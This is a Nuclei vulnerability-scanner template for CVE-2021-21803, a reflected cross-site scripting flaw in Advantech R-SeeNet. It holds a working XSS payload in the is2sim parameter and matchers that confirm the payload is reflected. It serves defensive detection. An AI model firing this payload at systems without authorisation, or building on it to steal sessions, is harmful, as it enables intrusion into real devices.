nuclei-templates/http/cves/2021/CVE-2021-21803.yaml

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id: CVE-2021-21803
info:
name: Advantech R-SeeNet - Cross-Site Scripting
author: gy741
severity: medium
description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
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impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
- https://nvd.nist.gov/vuln/detail/CVE-2021-21803
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-21803
cwe-id: CWE-79
epss-score: 0.80604
epss-percentile: 0.98232
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: advantech
product: r-seenet
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tags: cve2021,cve,rseenet,xss,advantech
http:
- method: GET
path:
- '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'
matchers-condition: and
matchers:
- type: word
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part: body
words:
- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220290c465e8ffed921fc075e33c05d61e6ad6c8dc976ad0768a3c67c27cf6c886d022015809e3ad84f8ad4271e11246380311837a9a3a71febd990084cb12f5a2a7961:922c64590222798bb761d5b6d8e72950